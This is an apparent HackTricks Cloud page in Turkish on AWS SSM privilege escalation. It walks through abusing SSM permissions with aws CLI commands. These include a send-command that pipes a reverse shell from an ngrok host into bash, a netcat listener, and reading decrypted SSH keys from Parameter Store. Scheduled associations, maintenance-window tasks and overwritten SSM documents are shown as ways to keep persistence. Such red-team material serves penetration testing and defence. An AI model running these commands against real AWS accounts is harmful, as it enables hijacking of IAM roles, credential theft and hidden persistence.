AWS - SSM Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
SSM
SSM hakkında daha fazla bilgi için şuraya bakın:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
ssm:SendCommand iznine sahip bir attacker, Amazon SSM Agent çalıştıran instance’larda komutları çalıştırabilir ve içinde çalışan IAM Role’ü compromise edebilir.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Eğer bu tekniği zaten ele geçirilmiş bir EC2 instance içinde privileges escalation yapmak için kullanıyorsanız, rev shell’i yerelde şu şekilde yakalayabilirsiniz:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Olası Etki: Çalışan instance’lara bağlı ve SSM Agent’ları çalışan EC2 IAM role’lerine doğrudan privesc.
ssm:StartSession
ssm:StartSession iznine sahip bir attacker, Amazon SSM Agent çalışan instance’larda SSH benzeri bir session başlatabilir ve içindeki IAM Role’ü compromise edebilir.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
Bir session başlatmak için SessionManagerPlugin yüklü olmalıdır: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Çalışan instance’lara bağlı SSM Agents çalışırken, EC2 IAM roles’a doğrudan privesc.
Privesc to ECS
ECS tasks ExecuteCommand enabled ile çalıştığında, yeterli permissions’a sahip kullanıcılar container içinde bir command execute etmek için ecs execute-command kullanabilir.
the documentation’a göre bu, kullandığınız cihaz ile hedef container arasında SSM Session Manager kullanılarak güvenli bir channel oluşturulup “exec“ komutunun çalıştırılmasıyla yapılır. (Bunun çalışması için SSM Session Manager Plugin gerekli)
Dolayısıyla, ssm:StartSession yetkisine sahip kullanıcılar, bu option enabled olan ECS tasks içinde şu komutu çalıştırarak bir shell elde edebileceklerdir:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Potential Impact: ExecuteCommand etkin olan çalışan task’lere ekli ECS IAM roles’lerine doğrudan privesc.
ssm:ResumeSession
ssm:ResumeSession iznine sahip bir attacker, Amazon SSM Agent çalışan instance’larda disconnected bir SSM session state ile bir SSH benzeri session’ı yeniden başlatabilir ve içindeki IAM Role’ü compromise edebilir.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Olası Etki: Çalışan instance’lara bağlı ve SSM Agents çalışan, disconected sessions olan EC2 IAM role’larına doğrudan privesc.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Belirtilen izinlere sahip bir attacker, SSM parameters listesini görebilecek ve bunları clear-text olarak okuyabilecektir. Bu parameters içinde sıklıkla SSH keys veya API keys gibi sensitive information bulabilirsiniz.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potansiyel Etki: Parametreler içinde hassas bilgi bul.
ssm:ListCommands
Bu izne sahip bir attacker, gönderilen tüm commands listesini görüntüleyebilir ve umarım bunlar içinde sensitive information bulabilir.
aws ssm list-commands
Potansiyel Etki: Komut satırları içinde hassas bilgi bulun.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Bu izinlere sahip bir attacker, gönderilen tüm commands listesini görebilir ve üretilen output’u okuyabilir; umarız burada sensitive information bulur.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potansiyel Etki: Komut satırlarının çıktısı içinde hassas bilgi bulun.
Using ssm:CreateAssociation
ssm:CreateAssociation iznine sahip bir attacker, SSM tarafından yönetilen EC2 instances üzerinde otomatik olarak commands execute etmek için bir State Manager Association oluşturabilir. Bu associations, sabit bir aralıkta çalışacak şekilde yapılandırılabilir; bu da onları interactive sessions olmadan backdoor-like persistence için uygun hale getirir.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Bu persistence yöntemi, EC2 instance Systems Manager tarafından yönetildiği, SSM agent çalıştığı ve attacker association oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. Important:
--schedule-expressionparametresi (ör.rate(30 minutes)) AWS’nin minimum 30 dakikalık aralığına uymalıdır. Anında veya tek seferlik execution için--schedule-expressiontamamen atlanmalıdır — association oluşturulduktan sonra bir kez çalışacaktır.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
ssm:UpdateDocument ve ssm:UpdateDocumentDefaultVersion izinlerine sahip bir attacker, existing documents’ları değiştirerek privilege escalation yapabilir. Bu aynı zamanda o document içinde persistence sağlar. Pratikte attacker’ın custom documents için isimleri almak üzere ayrıca ssm:ListDocuments iznine de ihtiyacı olur ve eğer attacker payload’ını existing bir document içinde obfuscate etmek isterse ssm:GetDocument de gerekli olacaktır.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Aşağıda, mevcut bir belgeyi üzerine yazmak için kullanılabilecek bir örnek belge bulunmaktadır. Invocation ile ilgili sorunları önlemek için belgenizin türünün hedef belgelerin türüyle eşleştiğinden emin olmak isteyeceksiniz. Aşağıdaki belge örneği, örneğin ssm:SendCommand ve ssm:CreateAssociation örneklerini kullanacaktır.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
ssm:RegisterTaskWithMaintenanceWindow ve ssm:RegisterTargetWithMaintenanceWindow izinlerine sahip bir saldırgan, önce mevcut bir maintenance window ile yeni bir target kaydederek ve ardından yeni bir task ekleyip kaydederek yetkileri yükseltebilir. Bu, mevcut target’larda execution sağlar, ancak yeni target’lar kaydederek farklı role’lara sahip compute sistemlerini compromise etmeye de izin verebilir. Bu ayrıca persistence sağlar; çünkü maintenance windows task’leri, window oluşturma sırasında önceden tanımlı bir aralıkta çalıştırılır. Pratikte saldırganın maintenance window ID’lerini almak için ayrıca ssm:DescribeMaintenanceWindows iznine de ihtiyacı olur.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Codebuild
Bir codebuild projesi build edilirken içine girmek için SSM de kullanabilirsin:
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

